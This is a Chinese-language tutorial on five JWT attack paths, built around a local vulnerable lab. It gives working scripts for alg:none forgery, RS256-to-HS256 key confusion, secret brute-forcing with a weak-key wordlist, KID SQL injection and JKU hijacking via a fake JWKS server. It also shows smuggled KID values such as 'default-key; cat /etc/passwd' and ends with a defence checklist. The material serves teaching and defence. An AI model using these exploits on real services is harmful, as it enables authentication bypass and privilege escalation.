从签名绕过到密钥伪造——JWT认证机制的五条攻击路径
字数 4468
更新时间 2026-04-22 12:40:13

JWT安全攻防:从签名绕到密钥伪造的五种攻击路径与防御加固

目录

  • 0x01 前言
  • 0x02 JWT结构与攻击面梳理
    • 2.1 JWT的三段式结构
    • 2.2 攻击面总览
  • 0x03 靶场环境搭建
    • 3.1 安装依赖
    • 3.2 生成RSA密钥对
    • 3.3 靶场服务端代码
    • 3.4 启动靶场
  • 0x04 攻击手法一:alg:none 签名绕过
    • 4.1 原理
    • 4.2 利用过程
    • 4.3 漏洞成因
  • 0x05 攻击手法二:RS256→HS256 算法混淆
    • 5.1 原理
    • 5.2 利用脚本
    • 5.3 关键细节与PyJWT 2.x的防护
  • 0x06 攻击手法三:弱密钥爆破
    • 6.1 原理
    • 6.2 使用hashcat爆破
    • 6.3 纯Python爆破脚本
    • 6.4 常见弱密钥字典
  • 0x07 攻击手法四:KID参数注入
    • 7.1 原理
    • 7.2 利用脚本
    • 7.3 攻击原理拆解
  • 0x08 攻击手法五:JKU头部劫持
    • 8.1 原理
    • 8.2 利用步骤
    • 8.3 实战中的变体
  • 0x09 自动化检测工具 jwt_auditor
    • 9.1 使用示例
  • 0x0A 防御加固与总结
    • 防御清单
    • 通用安全建议

0x01 前言

JSON Web Token (JWT) 作为现代Web应用中最主流的无状态认证方案,已广泛应用于前后端分离架构。本教学文档旨在深入解析JWT认证机制的五种主要攻击路径,并提供靶场搭建、漏洞利用、自动化检测及防御加固的完整知识体系。

0x02 JWT结构与攻击面梳理

2.1 JWT的三段式结构

一个JWT由三部分组成,用.分隔:Header.Payload.Signature

  • Header: Base64URL编码的JSON,包含算法(alg)、令牌类型(typ)等元数据
  • Payload: Base64URL编码的JSON,包含声明(claims)如用户ID、角色、过期时间等
  • Signature: 对Header.Payload的签名,确保令牌不被篡改

签名算法示例:

  • HS256: HMAC SHA256,对称加密
  • RS256: RSA SHA256,非对称加密
  • ES256: ECDSA SHA256,椭圆曲线加密

2.2 攻击面总览

攻击面 攻击手法 利用条件 危害等级
签名算法 alg:none绕过 服务端接受none算法 严重
签名算法 RS256→HS256混淆 公钥可获取 + 库未限制算法 严重
签名密钥 弱密钥爆破 HMAC密钥为弱口令 严重
Header参数 KID注入 kid值被拼接到查询/路径中
Header参数 JKU/X5U劫持 服务端根据jku获取验证密钥 严重

0x03 靶场环境搭建

3.1 安装依赖

pip3 install flask PyJWT==2.8.0 cryptography requests --break-system-packages

3.2 生成RSA密钥对

mkdir -p ~/jwt-lab/keys
cd ~/jwt-lab
openssl genrsa -out keys/private.pem 2048
openssl rsa -in keys/private.pem -pubout -out keys/public.pem

3.3 靶场服务端代码核心要点

靶场服务器包含五个漏洞端点,分别对应五种JWT攻击手法:

  • /api/none_vuln: alg:none绕过
  • /api/confusion_vuln: RS256→HS256混淆
  • /api/weak_key_vuln: 弱密钥爆破
  • /api/kid_vuln: KID参数注入
  • /api/jku_vuln: JKU头部劫持

关键配置

  • HMAC_SECRET = "s3cret123" (弱密钥)
  • RSA_PRIVATE/RSA_PUBLIC: 从文件读取的RSA密钥对
  • SQLite内存数据库用于KID注入测试

3.4 启动靶场

cd ~/jwt-lab
python3 jwt_lab_server.py

0x04 攻击手法一:alg:none 签名绕过

4.1 原理

JWT规范(RFC 7519)定义了"alg":"none"表示"无签名",本意用于已通过其他方式保证完整性的场景。当服务端的JWT解码逻辑允许none算法时,攻击者可以构造不带签名的令牌,直接修改Payload中的敏感字段(如将role从user改为admin)。

4.2 利用过程

  1. 获取正常Token:
curl -s -X POST http://127.0.0.1:5000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"guest"}'
  1. 构造alg:none伪造令牌:
import base64, json

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "admin"}

h = b64url_encode(json.dumps(header).encode())
p = b64url_encode(json.dumps(payload).encode())
forged_token = f"{h}.{p}."  # 注意末尾的点,签名为空
  1. 使用伪造的Token访问受保护端点

4.3 漏洞成因

服务端在验证JWT时,先读取Header中未验证的alg字段,当发现alg为none时跳过签名验证。常见的漏洞代码模式包括:

  • 在algorithms白名单中包含"none"(如algorithms=["HS256", "none"]
  • 根据JWT Header中的alg字段动态决定验证方式,对none缺乏拦截
  • 使用旧版JWT库(默认允许none算法)

0x05 攻击手法二:RS256→HS256 算法混淆

5.1 原理

RS256(非对称算法):

  • 服务端用私钥签名,用公钥验证
  • 公钥可公开,私钥需保密

HS256(对称算法):

  • 签名和验证使用同一个密钥
  • 密钥必须保密

攻击思路

  1. 获取服务端的RSA公钥
  2. 将JWT Header中的alg从RS256改为HS256
  3. 用公钥作为HMAC密钥对令牌进行签名
  4. 服务端看到alg:HS256,会用同一个"密钥"(公钥)做HMAC验证
  5. 验证通过,攻击成功

5.2 利用脚本

import jwt
from jwt.algorithms import HMACAlgorithm
from jwt.utils import force_bytes

# 绕过PyJWT 2.x的PEM密钥检查
_orig_prepare = HMACAlgorithm.prepare_key
HMACAlgorithm.prepare_key = lambda self, key: force_bytes(key)

# 读取服务端的公钥
with open("keys/public.pem") as f:
    public_key = f.read()

# 伪造payload并用公钥作为HMAC密钥签名
payload = {"sub": "admin", "role": "admin"}
forged_token = jwt.encode(payload, key=public_key, algorithm="HS256")

# 恢复原始方法
HMACAlgorithm.prepare_key = _orig_prepare

5.3 关键细节与PyJWT 2.x的防护

PyJWT 2.x已对此攻击做防御:HMACAlgorithm.prepare_key()方法会检测传入的密钥是否为PEM格式(包含BEGIN头),如果是则拒绝。但其他语言的JWT库可能没有此防护:

  • Node.js jsonwebtoken < 9.0.0:旧版本没有此检查
  • Java JJWT < 0.12.0:依赖开发者手动配置算法白名单
  • PHP firebase/php-jwt < 6.0:未限制算法类型
  • 自研JWT验证逻辑:手写代码常忽略算法限制

防御关键jwt.decode()的algorithms参数只写一种算法,不要同时包含对称和非对称算法。

0x06 攻击手法三:弱密钥爆破

6.1 原理

HS256算法使用共享密钥做HMAC签名。如果密钥是弱口令(如secret、password123),攻击者可用字典暴力破解。给定一个合法JWT,可枚举候选密钥逐个验证签名是否匹配。

6.2 使用hashcat爆破

hashcat原生支持JWT模式(16500):

# 获取合法token
TOKEN=$(curl -s -X POST http://127.0.0.1:5000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"guest"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")

# 保存到文件
echo -n "$TOKEN" > jwt.txt

# 使用hashcat爆破
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt --force

6.3 纯Python爆破脚本

import jwt
import time

def brute_jwt(token, wordlist_path):
    # 解析未验证的payload查看内容
    unverified = jwt.decode(token, options={"verify_signature": False})
    header = jwt.get_unverified_header(token)
    
    alg = header.get("alg", "HS256")
    if alg not in ("HS256", "HS384", "HS512"):
        return None
    
    with open(wordlist_path, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            secret = line.strip()
            if not secret:
                continue
            
            try:
                jwt.decode(token, secret, algorithms=[alg])
                return secret
            except jwt.InvalidSignatureError:
                pass
    return None

6.4 常见弱密钥字典

高频JWT弱密钥列表(建议与rockyou.txt合并使用):

secret
password
123456
changeme
admin
key
jwt_secret
token
test
mykey
HS256
hmac-secret
s3cret
secret123
s3cret123
password123
jwt
jwt123
supersecret
admin123
default
private
public
server
api_key
signing_key
my-secret
app_secret
development
production
mysecretkey
verysecret
secretkey
changeit

0x07 攻击手法四:KID参数注入

7.1 原理

JWT Header中的kid(Key ID)字段用于告诉服务端使用哪个密钥验证签名。如果服务端将kid值直接拼接到SQL查询、文件路径或系统命令中,会产生注入漏洞。

7.2 利用脚本

import jwt
import requests

# 注入的密钥值
INJECTED_KEY = "injected-secret"

# SQL注入payload
# 原查询: SELECT key_value FROM jwt_keys WHERE kid = '{kid}'
# 注入后: SELECT key_value FROM jwt_keys WHERE kid = '' UNION SELECT 'injected-secret' --'
kid_payload = f"' UNION SELECT '{INJECTED_KEY}' --"

# 用注入的密钥签名JWT
token = jwt.encode(
    {"sub": "admin", "role": "admin"},
    INJECTED_KEY,
    algorithm="HS256",
    headers={"kid": kid_payload}
)

7.3 攻击原理拆解

服务端实际执行的SQL变为:

SELECT key_value FROM jwt_keys WHERE kid = '' UNION SELECT 'injected-secret' --'

第一个查询返回空(kid=''不存在),UNION拼接第二个查询,返回'injected-secret'。服务端用此值验证JWT签名,而攻击者正用此密钥签名,验证通过。

其他KID注入场景

  1. 路径穿越kid = "../../dev/null",让密钥为空字符串
  2. 命令注入kid = "default-key; cat /etc/passwd"(如果服务端执行shell命令)
  3. LDAP注入:如果kid用于LDAP查询

0x08 攻击手法五:JKU头部劫持

8.1 原理

jku(JWK Set URL)指向包含公钥的JWKS端点。某些服务端在验证JWT时会读取jku指定的URL获取公钥。如果服务端不校验jku URL的合法性,攻击者可:

  1. 生成自己的RSA密钥对
  2. 在控制的服务器上托管包含公钥的JWKS端点
  3. 用自己的私钥签名JWT,jku指向自己的JWKS端点
  4. 服务端从攻击者的JWKS获取公钥验证签名

8.2 利用步骤

import jwt
import json
import threading
from flask import Flask, jsonify
from jwt.algorithms import RSAAlgorithm
from cryptography.hazmat.primitives import serialization

# 1. 读取攻击者密钥
with open("attacker_private.pem") as f:
    ATK_PRIVATE = f.read()
with open("attacker_public.pem", "rb") as f:
    atk_pub = serialization.load_pem_public_key(f.read())

# 2. 启动伪造的JWKS服务
fake_app = Flask("fake_jwks")
@fake_app.route("/.well-known/jwks.json")
def fake_jwks():
    jwk_dict = json.loads(RSAAlgorithm.to_jwk(atk_pub))
    jwk_dict["kid"] = "attacker-key"
    jwk_dict["use"] = "sig"
    return jsonify({"keys": [jwk_dict]})

# 3. 构造恶意JWT
forged_token = jwt.encode(
    {"sub": "admin", "role": "admin"},
    ATK_PRIVATE,
    algorithm="RS256",
    headers={
        "jku": "http://127.0.0.1:8888/.well-known/jwks.json",
        "kid": "attacker-key"
    }
)

8.3 实战中的变体

如果服务端对jku做了域名白名单限制,可尝试:

  • 开放重定向绕过:利用白名单域名的开放重定向漏洞
  • 子域名接管:如果白名单使用后缀匹配(如.example.com
  • URL解析差异:利用@符号、Unicode字符等绕过检查
  • SSRF利用:如果服务器可访问内网,可指向内网JWKS端点

0x09 自动化检测工具 jwt_auditor

9.1 使用示例

# 被动分析(仅解析Token)
python3 jwt_auditor.py "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.xxx"

# 完整扫描(被动+主动)
python3 jwt_auditor.py "$TOKEN" \
  -u http://127.0.0.1:5000/api/none_vuln \
  -w jwt-secrets.txt

# RS256 Token的完整扫描
python3 jwt_auditor.py "$RSA_TOKEN" \
  -u http://127.0.0.1:5000/api/confusion_vuln \
  -p keys/public.pem

工具功能

  1. 基础信息解析(Header/Payload/Algorithm)
  2. Header风险字段分析(jku/x5u/kid/jwk)
  3. alg:none绕过测试
  4. 弱密钥爆破
  5. 算法混淆测试

0x0A 防御加固与总结

防御清单

攻击手法 防御措施 代码示例(PyJWT)
alg:none绕过 decode时显式指定算法白名单,不包含none jwt.decode(token, key, algorithms=["HS256"])
算法混淆 只允许一种算法,不混用对称和非对称算法 algorithms=["RS256"](只写一种)
弱密钥 使用至少256位的随机密钥 python3 -c "import secrets;print(secrets.token_hex(32))"
KID注入 参数化查询或白名单校验kid值 cursor.execute("...WHERE kid=?", (kid,))
JKU劫持 严格URL白名单或禁用jku动态获取 仅从固定配置读取密钥,忽略JWT中的jku字段

通用安全建议

  1. 升级JWT库到最新版:PyJWT 2.x默认禁止none算法,拒绝不匹配的算法类型
  2. 设置合理的过期时间:exp字段不宜过长,敏感操作使用短期Token(15分钟)配合Refresh Token
  3. 不在Payload中存储敏感信息:JWT Payload是Base64编码,非加密,不要放密码、身份证号等
  4. 实现Token吊销机制:配合Redis黑名单或短过期时间应对强制登出场景
  5. 监控异常JWT:在WAF或应用层监控alg:none、异常jku域名、非白名单kid值
  6. 密钥管理
    • 使用强随机密钥(HS256至少32字节)
    • 定期轮换密钥
    • 不同环境使用不同密钥
  7. 输入验证
    • 验证算法类型与预期一致
    • 校验iss(签发者)、aud(受众)等标准声明
    • 拒绝包含可疑Header参数的Token
  8. 深度防御
    • 多层签名验证
    • 二次校验敏感操作
    • 实现速率限制防止爆破

通过本教学文档的全面学习,您应能深入理解JWT的五种主要攻击路径,掌握从漏洞发现到利用的完整技能,并具备构建安全JWT认证系统的防御能力。

相似文章
相似文章
 全屏